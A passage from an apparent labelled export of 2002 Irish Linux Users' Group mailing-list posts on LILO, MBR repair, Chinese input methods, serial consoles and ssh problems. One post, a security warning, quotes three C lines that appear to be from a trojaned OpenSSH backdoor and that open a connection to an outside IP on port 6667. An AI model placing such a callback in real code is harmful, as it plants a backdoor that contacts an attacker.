> vga = 791 > initrd = /boot/initrd > > > > There are a couple more boot stanzas, but they're not germane. As you can > see, / is on /dev/hda3 and /boot is on /dev/hda1. So if for instance I had > booted from a CD and wanted to re-install LILO on this disk I'd do something > like > > mount /dev/hda3 /mnt > mount /dev/hda1 /mnt/boot > lilo -r /mnt > > which is OK because I'm installing lilo on /dev/hda and I want it to boot > from /dev/hda so it'll plug in all the right numbers. > > However, in the case of the standby disk, I'll have to do something like > > mount /dev/hdb3 /mnt > mount /dev/hdb1 /mnt/boot > lilo -r /mnt > > But I'm obviously going to have to do something different here because I > want to install onto /dev/hdb in such a way that the disk will boot when it > becomes /dev/hda after a disaster (like the one I had this morning :-( - > shutting the stable door was on the to-do list, but the bloody horse decided > to do a bunk early). The machine already has its spare disk - just hadn't > yet been used :-( > > I thought perhaps I should just do lilo -b /dev/hdb -r /mnt but I think > that -b is analogous to the boot keyword in lilo.conf. Or will this just > work automagically ? i.e. boot = /dev/hda tells lilo what numbers to poke > where, and it figures out where the disk is from the -r ? from the Hard Disk Upgrade Mini HOWTO : 8. Prepare LILO to boot the new disk (Thanks to Rick Masters for helping with this.) We're assuming that LILO is installed on the hard disk's Master Boot Record (MBR); this seems to be the most common configuration. You want to install LILO on what's presently the second hard disk but will become the first hard disk. Edit the file /new-disk/etc/lilo.conf as follows: disk=/dev/hdb bios=0x80 # Tell LILO to treat the second # disk as if it were the first # disk (BIOS ID 0x80). boot=/dev/hdb # Install LILO on second hard # disk. map=/new-disk/boot/map # Location of ""map file"". install=/new-disk/boot/boot.b # File to copy to hard disk's # boot sector. prompt # Have LILO show ""LILO boot:"" # prompt. timeout=50 # Boot default system after 5 # seconds. (Value is in tenths of # seconds.) image=/new-disk/boot/vmlinuz # Location of Linux kernel. The # actual name may include a version # number, for example # ""vmlinuz-2.0.35"". label=linux # Label for Linux system. root=/dev/hda1 # Location of root partition on # new hard disk. Modify this as # appropriate for your system. # Note that you must use the name # of the future location, once the # old disk has been removed. read-only # Mount partition read-only at # first, to run fsck. Conor PS. Um, what does > menu-scheme = Wg:kw:Wg:Wg do? -- Conor Daly Domestic Sysadmin :-) --------------------- Faenor.cod.ie 6:04pm up 69 days, 3:22, 0 users, load average: 0.00, 0.00, 0.00 Hobbiton.cod.ie 5:50pm up 12 days, 27 min, 1 user, load average: 0.00, 0.00, 0.00 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 SoloCDM ,David Neary ,"Wed, 31 Jul 2002 11:28:56 -0600",[ILUG] Re: C++ and C Mailing Lists for Beginners and Advanced,"David Neary stated the following: > > SoloCDM wrote: > > > Are there any mailing lists (non-newsgroups) for C++ and C Beginners > > and Advanced programmers? > > Try the following newsgroups - Beginners: news:comp.lang.learn.c-c++ I tried news:comp.lang.learn.c-c++ and it wouldn't work. Is there a typo? > More advanced: news:comp.lang.c news:comp.lang.c++ > news:comp.lang.c.moderated > > Also, you should keep a bookmark pointing at the comp.lang.c FAQ at > http://www.eskimo.com/~scs/C-faq/top.html > > For tutorials, the guy who maintains the clc FAQ (Steve Summit) has > a tutorial - http://www.eskimo.com/~scs/cclass/notes/top.html Also > you could have a look at the excercises he poses - all linked from > http://www.eskimo.com/~scs/cclass/cclass.html > > For C++, I would guess that the comp.lang.c++ FAQ is a good place to > start - they're likely to have links to suggested reading material. > > If you're going to do any amount of C programming, you should > think about getting K&R2 (The C programming language, 2nd edition, > by Kernighan and Ritchie), for C++ the equivalent book is > Stroustrup. Although the C++ book is a lot bigger :) -- Note: When you reply to this message, please include the mailing list and/or newsgroup address and my email address in To: ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Wed, 31 Jul 2002 10:48:44 -0700",Re: [ILUG] removing lilo,"Quoting jac1 (jac1@student.cs.ucc.ie): > i recently had to wipe linux from my pc but forgot to restore the original > MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot > floppy. formatting the entire disk doesn't do it either. The easy way is just to install whatever Microsoft or whatever OS you have in mind: It should overwrite the MBR. Indeed, the problem is usually _preventing_ this from happening, as Microsoft Corporation's installers seem to forever be overwriting your MBRs when you least wish it, without asking your permission. -- Cheers, ""We're sorry; you have reached an imaginary number. Rick Moen Please rotate your 'phone ninety degrees and try again."" rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Brian Foster ,Irish Linux Users Group ,"Wed, 31 Jul 2002 18:57:50 +0100",Re: [ILUG] inputting chinese characters in Redhat 7.3,"| Date: Wed, 31 Jul 2002 23:11:49 +0800 | From: Fergal Daly | | 7.3 seems to support Chinese input out of the box, it's got | miniChinput and some other stuff no documentation. [ ... ] | google is a bit of a dead too. | | Can anyone tell me what I should do? I've no idea, but a relevant/useful source of info could be the «linux-utf8» e-list: http://www.cl.cam.ac.uk/~mgk25/unicode.html http://mail.nl.linux.org/linux-utf8/ whilst the list is nominally about UTF-8/Unicode and Linux, it often delves into related areas (such as input methods). my (vague!) understanding of the state-of-play is there are multiple ways of keyboarding scripts such as ""Chinese"", and the choice of method is a mixture of personal preference, equipment (e.g. your keyboard), and the tool/application in question. w.r.t. X11 applications, it seems to boil down to two approaches: one unique to the tool itself (apparently `yudit' is famous for this); or else using what's called an XIM (X Input Method). WARNING: I am now guessing quite a bit here, based mostly on my interpretation of what I've read whilst lurking, and watching a few people keyboarding a Japanese script years ago! *** your mileage will vary! *** XIMs generally work as a complex compose frontend. i.e., you build up your character as a series of composes of the root or fundamental strokes (""radicals"", I think they are called), and then ""commit"" the composite character to the application. ( yes, keyboarding these scripts _is_ quite slow, I believe a good typist can only do a few characters a minute! and I assume using a qwerty keyboard is very painful. ) some XIMs compose ""in place"", others do it on a special line, and some seem to do it in a special window (or the root?). also, some(/most?) XIMs apparently support a US-ASCII input mode as well --- _not_ a general Latin-alphabet input mode, which seems to require another TLA, called KBD, and which apparently doesn't work when an XIM is also being used? --- implying you have to switch back and forth between US-ASCII input mode (what us English-speakers would call ""normal"" keyboarding/typing), and the other input (e.g., Chinese). I'm not sure, but I have the impression the switch is often a toggle, and something like . many apologies if this is completely wrong or too misleading. cheers! -blf- p.s. b.t.w., you almost certainly want to be using a UTF-8 locale. if RH 7.3 is the so-called ""limbo"" release, then you may quite possibility be using one by default. -- «How many surrealists does it take to | Brian Foster Dublin, Ireland change a lightbulb? Three. One calms | e-mail: blf@utvinternet.ie the warthog, and two fill the bathtub | mobile: (+353 or 0)86 854 9268 with brightly-coloured machine tools.» | http://www.blf.utvinternet.ie Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they don't give a damn about global warming.» http://www.stopesso.com Supported by Greenpeace, Friends of the Earth, and numerous others... -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Brian Foster ,Irish Linux Users Group ,"Wed, 31 Jul 2002 20:58:43 +0100",Re: [ILUG] inputting chinese characters in Redhat 7.3,"| Date: Wed, 31 Jul 2002 18:57:50 +0100 | From: Brian Foster | | | Date: Wed, 31 Jul 2002 23:11:49 +0800 | | From: Fergal Daly | | | | 7.3 seems to support Chinese input out of the box, it's got | | miniChinput and some other stuff no documentation. [ ... ] | | Can anyone tell me what I should do? | | I've no idea, but a relevant/useful source of info could | be the «linux-utf8» e-list: | | http://www.cl.cam.ac.uk/~mgk25/unicode.html | http://mail.nl.linux.org/linux-utf8/ |[ ... ] | w.r.t. X11 applications [ one approach is to use ] | what's called an XIM (X Input Method). [ ... ] sorry for replying to my own post! a google for ""xim linux"" found a number of hits. try (I've haven't finished reading this myself, but it seems good): http://www.suse.de/~mfabian/suse-cjk/ (CJK stands for Chinese Japanese Korean.) the above is probably best read with a browser that groks UTF-8. cheers! -blf- -- Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 For a résumé, contact me, or see my website http://www.blf.utvinternet.ie Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they don't give a damn about global warming.» http://www.stopesso.com Supported by Greenpeace, Friends of the Earth, and numerous others... -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Murtagh ,ilug@linux.ie,"Wed, 31 Jul 2002 21:23:03 +0100",[OT] Irish language (was Re: [ILUG] Fwd: Linux Beer Hike),"On Wednesday 31 July 2002 12:02, Satelle, StevenX wrote: > Its nothing to do with irish. It was the way it was tought. In primary I > was made to stand up in front of the class and name all the items on a > projector screen. My teacher knew that I didnt even know what hello was in > irish (still dont) They tried to force me and as a result I managed to get > 1% in the intercert and didnt even turn up for the leaving exam. I dislike > being forced to learn something and mostly refuse to do it. I put effort > into making sure I didnt learn Irish. My point was I knew more German after > 6 months than 13 years of Irish. The way it is tought is wrong and people > should have a choice about doing it. Irish is taught badly in schools. But then again so is French. I did 3 years of French in primary school and 6 in secondary school. So, that's 9 years of French. Which, I guess, should be long enough to be fluent in most languages. As it turns out, my French is crap. My Irish is much better. The problem seems to be the braindead attempt to make people learn languages they can't speak through reading and writing. And then tacking on speech as an afterthought. Whereas doing it the other way round would be a lot more useful... I hear this complaint a lot, but I never hear people complaining about being ""forced"" to learn to read and write, or to do maths. Maybe people don't mind as much if it is perceived as a useful skill (which Irish is not usually perceived as). Anyway, tir gan teanga tir gan anam :) Nick -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 SoloCDM ,Liam Bedford ,"Wed, 31 Jul 2002 18:33:58 -0600",[ILUG] Re: removing lilo,"Liam Bedford stated the following: > > On Wed, 31 Jul 2002 10:48:16 -0600 SoloCDM claiming to think: > > > ""Hunt, Bryan"" stated the following: > > >> you need to do a ""fdisk /mbr"" from a bootable windoze floppy > >> alternatively boot from linux boot disk and do fdisk, delete all > >> partitions. > > > I need to ask a question concerning this issue. > > > What if I don't want to get rid of the MBR -- it will destroy the > > OS on that drive. How do I remove lilo without the above fdisk > > procedure? > > fdisk /mbr will restore a dos MBR.. it'll leave the partitions alone. > > linux fdisk and deleting all partitions will actually leave LILO in > the MBR though. While I am in Linux, the following message is the output when I execute fdisk /mbr, even though the drive is in read and write mode: Unable to open /mbr The mbr is on a separate drive -- not related to the Linux drive. -- Note: When you reply to this message, please include the mailing list and/or newsgroup address and my email address in To: ********************************************************************* Signed, SoloCDM -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Kenn Humborg ,Irish Linux Users Group ,"Thu, 1 Aug 2002 02:41:41 +0100",Re: [ILUG] inputting chinese characters in Redhat 7.3,"On Wed, Jul 31, 2002 at 06:57:50PM +0100, Brian Foster wrote: > XIMs generally work as a complex compose frontend. i.e., you > build up your character as a series of composes of the root or > fundamental strokes (""radicals"", I think they are called), and > then ""commit"" the composite character to the application. > ( yes, keyboarding these scripts _is_ quite slow, I believe > a good typist can only do a few characters a minute! > and I assume using a qwerty keyboard is very painful. ) I can speak for some Chinese input methods and you can do a hell of a lot better than a few chars per minute. For example, the simplest Chinese IM is Pinyin where you phonetically spell out each character using the pinyin romanisation rules. For example, Zhong Guo (Chinese for China) is entered by typing 'zhong', then you're prompted with a list of possible matches, with the most common first in a numbered list, so you hit, say, 2 for the second in the list, then similarly for 'guo' 3. You can see, that, regarding keystroke counts, it's not that much different to English. However, until you get familiar with the sorting order in the 'possible match' lists, it can be a little slow. Other input methods are more keystroke-efficient, losing the phonetic simplicity of Pinyin. Chinese characters are almost always pronounced as a first-part-second-part, so zhong is 'zh'-'ong'. One input method assigns single letters to the possible first and second parts, so 'i' might represent 'zh' as a first part and 'ong' as a second part, so you'd enter zhong as 'ii' and a digit to choose from the possible matches. I think the Microsoft Global IME has a 'stroke' mode where you can build up a character stroke by stroke, but you'd only use that when you know the character you want but you don't know how to pronounce it. > > some XIMs compose ""in place"", others do it on a special line, > and some seem to do it in a special window (or the root?). > also, some(/most?) XIMs apparently support a US-ASCII input > mode as well --- _not_ a general Latin-alphabet input mode, > which seems to require another TLA, called KBD, and which > apparently doesn't work when an XIM is also being used? --- > implying you have to switch back and forth between US-ASCII > input mode (what us English-speakers would call ""normal"" > keyboarding/typing), and the other input (e.g., Chinese). > I'm not sure, but I have the impression the switch is often > a toggle, and something like . Probably most often Ctrl-Space. That's what the Microsoft Global Input Method Editor uses and what xcin uses IIRC. Regarding the original poster's question - here's what works for me on Red Hat 7.2 o Make sure the xcin and ttfonts-zh_CN RPMs are installed. (The fonts might not be essential, I think XFree comes with usuable Chinese fonts in the XFree86-fonts RPMs o Select Chinese (Simplified) as the language in GDM when logging in. Everything should 'just work'. If you've got the default clock in your GNOME panel, you should now see it in Chinese. A lot of the menus will also be in Chinese, but you should be able to find your way around. Use Ctrl-Space to toggle between Chinese and English input. When in Chinese mode Shift-Space toggles between something that I don't understand, but it blocks exiting to English. So if you can't use Ctrl-Space to get back to English, try hitting Shift-Space, Ctrl-Space. Fire up a GNOME terminal. In Chinese mode, type zhong 1 guo 1 and you'll see the Chinese for China. Getting this to work while selecting English at the GDM screen is left as an exercise for the reader. Looking at /etc/X11/xinit/xinitrc.d/xinput and /usr/share/doc/xcin should give enough info. Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Thu, 01 Aug 2002 15:58:38 +0100",[ILUG] Am I cracked?,"Well you know what I mean. I noticed 2 connections from my (freshly installed RH7.3) machine to port 80 of the following addresses. 216.145.20.5 216.254.17.87 Both resolve to cytocin.hubbe.NET using CCOM.NET & speakeasy.NET DNS servers respectively. Both connections lasted about 20 seconds and were about 2 minutes apart. Any ideas? I didn't see what processes they came from, but I'm keeping a close eye now. Thanks, Pdraig. p.s. I'm can't subscribe to the list at the moment for some reason? so please reply directly. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Thu, 01 Aug 2002 16:03:07 +0100",[ILUG] stupid pics of the day,"Some local Irish wildlife http://www.iol.ie/~padraiga/pics/wild1.jpg http://www.iol.ie/~padraiga/pics/wild2.jpg was I bored or what? Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG list ,"Thu, 1 Aug 2002 17:15:27 +0100",[ILUG] serial console question,"I've found a decrepit raq3 that I'm going to resurrect, as soon as I work out what's up with the console. I'm using 115200 8n1 with minicom, and I'm getting wierd stuff like: S+#_+q INET __+_: S+#_+q p__ M++q _++ +_<_++_. S+#_+q #+__+ S+#_+q #+ + __+_: I+#+ _+#+_ _ +# _+ -- N+ _+#_+q SSL /+__/_/++ S++q + P_+_SQL: FATAL: S+_#+S_+_P_+: () #+: A___ #+_#< +_ I_ #+_ _++#_+_ #+_#< _+q +#+ _+? I +, _++ _++ (/++/._.PGSQL.5583) # _+_<. /+__//_++#_+_: #+ _#+ UNIX _+_#+ _+ [616] S+#_+q ++ S++q + W S_+: So it looks like some sort of setting mismatch. Various places on the web say that cobalts are setup with 115200 8n1 serial ports, but someone could have changed it on this particular box. Anyone care to guess what's up ? John -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 yyyycc ,Irish LUG list ,"Thu, 1 Aug 2002 17:36:48 +0100 (IST)",Re: [ILUG] serial console question,"On Thu, 1 Aug 2002, John P. Looney wrote: > I've found a decrepit raq3 that I'm going to resurrect, as soon as I work > out what's up with the console. > > I'm using 115200 8n1 with minicom, and I'm getting wierd stuff like: Should it be 38K4 - a fairly common baudrate for serial port connections? Though if you are getting this much, the baudrate may be right. It looks like high ASCII so it may also be worth playing with the tty type (ANSI/VT etc). > So it looks like some sort of setting mismatch. Various places on the web > say that cobalts are setup with 115200 8n1 serial ports, but someone could > have changed it on this particular box. Regards...jmcc -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Dorgan ,ilug@linux.ie,"Thu, 1 Aug 2002 08:15:34 -0400",[ILUG] Openssh FYI.,"http://docs.freebsd.org/cgi/getmsg.cgi?fetch=394609+0+current/freebsd-security sa.sin_family=AF_INET; sa.sin_port=htons(6667); sa.sin_addr.s_addr=inet_addr(""203.62.158.32""); David. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Lars Hecking ,ilug@linux.ie,"Thu, 1 Aug 2002 17:35:51 +0100",[ILUG] Re: Csh shell scripts,"> quickie for shell scripters: > How do I find out the time a file was created at? There is no canonical test, and the information is not necessarily available. If you check out how struct stat is defined on your system, you'll find that only time_t st_atime; /* Time of last access */ time_t st_mtime; /* Time of last data modification */ time_t st_ctime; /* Time of last file status change */ /* Times measured in seconds since */ /* 00:00:00 UTC, Jan. 1, 1970 */ are available. File status change = i-node status change, it includes creation, mode change, ownership change etc., so this is what you want only if the file status wasn't changed since creation. This information is also shown by ls -lc, but parsing ls' output requires a bit of effort. I'd rather recommend to write a short C program to access the file status directly, and output the ctime directly (seconds since the epoch, i.e. perfect for numerical comparison). (Another way is to use GNU find -printf with a custom format: ... %c File's last status change time in the format returned by the C `ctime' function. ...) -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Mc Auley ,ilug@linux.ie,"Thu, 01 Aug 2002 17:41:03 +0100",[ILUG] Re: serial console question,"On Thu, 1 Aug 2002 17:15:27 +0100 ""John P. Looney"" wrote: | I've found a decrepit raq3 that I'm going to resurrect, as soon as I work | out what's up with the console. | I'm using 115200 8n1 with minicom, and I'm getting wierd stuff like: | S+#_+q INET __+_: | S+#_+q p__ M++q _++ +_<_++_. | S+#_+q #+__+ S+#_+q #+ + __+_: | I+#+ _+#+_ _ +# _+ -- N+ _+#_+q SSL | So it looks like some sort of setting mismatch. Various places on the web | say that cobalts are setup with 115200 8n1 serial ports, but someone could | have changed it on this particular box. | Anyone care to guess what's up ? One possible is that it's toggling the VTx00 alt character set. If that's the case, feeding ^O to the tty somehow (i.e. cat to the device) should flip it back. Paul -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Padraig Brady ,"Thu, 1 Aug 2002 17:43:32 +0100",Re: [ILUG] stupid pics of the day,"On Thu, Aug 01, 2002 at 04:03:07PM +0100, Padraig Brady mentioned: > Some local Irish wildlife > > http://www.iol.ie/~padraiga/pics/wild1.jpg > http://www.iol.ie/~padraiga/pics/wild2.jpg > > was I bored or what? Most likely. Hey...is that one of my nice wai-yip stuffed ones ? Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Thu, 1 Aug 2002 17:44:20 +0100",Re: [ILUG] Re: serial console question,"On Thu, Aug 01, 2002 at 05:41:03PM +0100, Paul Mc Auley mentioned: > On Thu, 1 Aug 2002 17:15:27 +0100 > | S+#_+q INET __+_: > | S+#_+q p__ M++q _++ +_<_++_. > | S+#_+q #+__+ S+#_+q #+ + __+_: > | I+#+ _+#+_ _ +# _+ -- N+ _+#_+q SSL > > | So it looks like some sort of setting mismatch. Various places on the web > | say that cobalts are setup with 115200 8n1 serial ports, but someone could > | have changed it on this particular box. > > | Anyone care to guess what's up ? > > One possible is that it's toggling the VTx00 alt character set. If > that's the case, feeding ^O to the tty somehow (i.e. cat to the device) > should flip it back. Ah right. Seems OK now. I assume that could have happened if the terminal was in 9600 mode at first, getting wierd characters ? Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Niall O Broin ,ilug@linux.ie,"Thu, 1 Aug 2002 15:51:12 +0100",[ILUG] Strange ssh problem,"I have a strange problem with one user in a small network using ssh. Everyone in the network uses ssh and they run an ssh-agent on login. This works fine for conveniently wandering around the network and to some of our external boxes - or did, until today. Suddenly, when one user (alfred) tries to ssh anywhere he's asked for a password. He says He changed nothing (don't they all) but I do actually believe him. I used ssh-keygen to make new keys but that didn't help. I created a new user alfio into whose home directory I copied alfred's .ssh directory - alfio can wander around free as a bird without being asked for a password ever (except of course for the passphrase to load the identiy into the agent). In case there was something else in Alfred' environment, I copied .??* from alfred's home directory to alfio's, remembering to change ownership afterwards. Still alfio is as free as a bird. We use only SSH2 with DSA keys. An extract from a ssh -v for alfio is below debug1: got SSH2_MSG_SERVICE_ACCEPT debug1: authentications that can continue: publickey,password debug1: next auth method to try is publickey debug1: userauth_pubkey_agent: testing agent key /home/alfio/.ssh/id_dsa debug1: input_userauth_pk_ok: pkalg ssh-dss blen 434 lastkey 0x80916f0 hint -1 debug1: ssh-userauth2 successful: method publickey and before starting this ssh attempt, ssh-add -l for alfio said: 1024 07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfio/.ssh/id_dsa (DSA) whereas with alfred the same segment of the debug log went debug1: got SSH2_MSG_SERVICE_ACCEPT debug1: authentications that can continue: publickey,password debug1: next auth method to try is publickey debug1: userauth_pubkey_agent: testing agent key /nfshome/alfred/.ssh/id_dsa debug1: authentications that can continue: publickey,password and before starting this ssh attempt, ssh-add -l for alfred said: 1024 07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfred/.ssh/id_dsa (DSA) This problem is definitely related to alfred as a user - it happens when he logs in on differing workstations (all NFS mounting the same home directories) and the other users (including good old alfio) don't have any problems. Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Thu, 1 Aug 2002 14:16:38 -0700",[ILUG] ispell _and_ aspell in Irish,"I just heard from Kevin Patrick Scannell, author of the Irish-language ispell dictionary (""ispell-gaeilge"") discussed a month or two ago. He's revised it, and moreover has added a version for the much-better aspell package (""aspell-gaeilge""). The latter is particularly good news for users of OpenOffice.org. Details for us anglophones: http://borel.slu.edu/ispell/index-en.html And in Irish: http://borel.slu.edu/ispell/ -- Cheers, ""Transported to a surreal landscape, a young girl kills the first Rick Moen woman she meets, and then teams up with three complete strangers rick@linuxmafia.com to kill again."" -- Rick Polito's That TV Guy column, describing the movie _The Wizard of Oz_ -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 ger ,"Liam Bedford , deedsmis@aculink.net,","Fri, 02 Aug 2002 03:59:32 +0100",Re: [ILUG] Re: removing lilo,"At 17:34 31/07/02 +0100, Liam Bedford wrote: >fdisk /mbr will restore a dos MBR.. it'll leave the partitions alone. Will clear the Partition table entries in the MBR if it does not end with valid Boot signature. Regards Ger -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Dermot Beirne"" ","""ilug"" ","Fri, 2 Aug 2002 06:27:04 +0100",[ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office.,"I will be out of the office starting 02/08/2002 and will not return until 06/08/2002. I am out of the office until Tuesday 6th August. I will reply to messages on my return. Thank you. DermotImportant Email Information The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. If you are not the intended addressee please contact the sender and dispose of this e-mail. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Hunt, Bryan"" ","""'deccy@csn.ul.ie'"" , ilug@linux.ie","Fri, 2 Aug 2002 08:36:47 +0100",RE: [ILUG] Dell GX260 V Redhat 7.3,"I swear to god you have to be so carefull with dell machines and linux. My laptop is the only dell that I've had so far that you could do a quick clean install of linux on. Every machine recently seems to have some cheapo piece of hardware (eth card, modem, sound, graphics ) that is incompatable/unsupported. I don't know how long I've spent banging my head off the wall with some crap dell machine that the secretary/store manager/windoze admin of whatever company I've been in has ordered. Ok everything is budget basement these days but they're getting the components cheaper as well. If you do buy from dell be damned carefull what you order cause the default config cheapo machines are allways a pain in the hole. --B -----Original Message----- From: deccy@csn.ul.ie [mailto:deccy@csn.ul.ie] Sent: 01 August 2002 23:19 To: ilug@linux.ie Subject: [ILUG] Dell GX260 V Redhat 7.3 Hi, We just got some new Dell GX260 machines here are work and I'm supposed to be putting Linux on them. I tried installing RedHat 7.3. It just didn't want to know about the graphics card. I's an onboard Intel DVMT chip. No dedicated memory, it takes it from the onboard RAM. I was wondering if anybody had gotton these machines and had any luck getting this graphics card working? When this graphics card didn't work, I installed a PCI Diamond Stealth 64 VRAM card. Xconfigurator auto-detected this and my 21"" SUN monitor no problem but whenever it tries to test the configuration it fails and the screen is left with a blue background and all of the text is blue. Does anybody have any idea what the problem is or how to fix it? Cheers, deccy. -- --------------------------------------- Declan Houlihan deccy@csn.ul.ie http://deccy.csn.ul.ie/ --------------------------------------- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Stephen_Reilly@dell.com,ilug@linux.ie,"Fri, 2 Aug 2002 03:19:53 -0500",RE: [ILUG] Dell GX260 V Redhat 7.3,">> I swear to god you have to be so carefull with dell machines >> and linux. ... >> to have some cheapo piece of hardware (eth card, modem, >> sound, graphics ) >> that is incompatable/unsupported. ... >> with some crap >> dell machine that yes, yes, all terribly insightful and extremely useful information. > We just got some new Dell GX260 machines here are work and > I'm supposed to > be putting Linux on them. I tried installing RedHat 7.3. It > just didn't want > to know about the graphics card. I's an onboard Intel DVMT chip. No > dedicated memory, it takes it from the onboard RAM. The onboard DVMT card has an Intel 845 G/GL chipset. http://www.intel.com/support/graphics/linux/ or http://www.intel.com/support/graphics/intel845g/linux.htm has more specific information. There is help available there. I also found somewhere (not through personal experience though) that 2.4.19-pre10ac2 includes drivers for the chipset ? Steve -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Wesley Darlington ,ilug@linux.ie,"Fri, 2 Aug 2002 04:23:07 -0400",Re: [ILUG] Strange ssh problem,"Hi Niall, Some thoughts... o Run the ssh client with verbosity 3 (ssh -v -v -v) o Run an sshd with debugging level three (sshd -d -d -d) o ~alfio doesn't seem to be nfs-mounted like ~alfred (The following aren't really applicable, but... o Has alfred been logged in for ages? Has the tmpsweeper swept through /tmp removing alfred's ssh-agent directory in its wake? o Is /tmp a+rwxt? Does /dev/null exist? o Has alfred been messing with his TMPDIR envar? o What does lsof on his ssh-agent say? What about on alfio's? o What are the permissions on ~alfred and ~alfred/.ssh? o Does alfred's uid conflict with somebody else's? o Does alfred's $SSH_AGENT_PID correspond to his agent? alfio's? ) Wesley. On Thu, Aug 01, 2002 at 03:51:12PM +0100, Niall O Broin wrote: > I have a strange problem with one user in a small network using ssh. > Everyone in the network uses ssh and they run an ssh-agent on login. This > works fine for conveniently wandering around the network and to some of our > external boxes - or did, until today. Suddenly, when one user (alfred) tries > to ssh anywhere he's asked for a password. He says He changed nothing (don't > they all) but I do actually believe him. I used ssh-keygen to make new keys > but that didn't help. > > I created a new user alfio into whose home directory I copied alfred's .ssh > directory - alfio can wander around free as a bird without being asked for a > password ever (except of course for the passphrase to load the identiy into > the agent). > > In case there was something else in Alfred' environment, I copied .??* from > alfred's home directory to alfio's, remembering to change ownership > afterwards. Still alfio is as free as a bird. > > We use only SSH2 with DSA keys. An extract from a ssh -v for alfio is below > > debug1: got SSH2_MSG_SERVICE_ACCEPT > debug1: authentications that can continue: publickey,password > debug1: next auth method to try is publickey > debug1: userauth_pubkey_agent: testing agent key /home/alfio/.ssh/id_dsa > debug1: input_userauth_pk_ok: pkalg ssh-dss blen 434 lastkey 0x80916f0 hint -1 > debug1: ssh-userauth2 successful: method publickey > > and before starting this ssh attempt, ssh-add -l for alfio said: > > 1024 07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfio/.ssh/id_dsa (DSA) > > whereas with alfred the same segment of the debug log went > > debug1: got SSH2_MSG_SERVICE_ACCEPT > debug1: authentications that can continue: publickey,password > debug1: next auth method to try is publickey > debug1: userauth_pubkey_agent: testing agent key /nfshome/alfred/.ssh/id_dsa > debug1: authentications that can continue: publickey,password > > and before starting this ssh attempt, ssh-add -l for alfred said: > > 1024 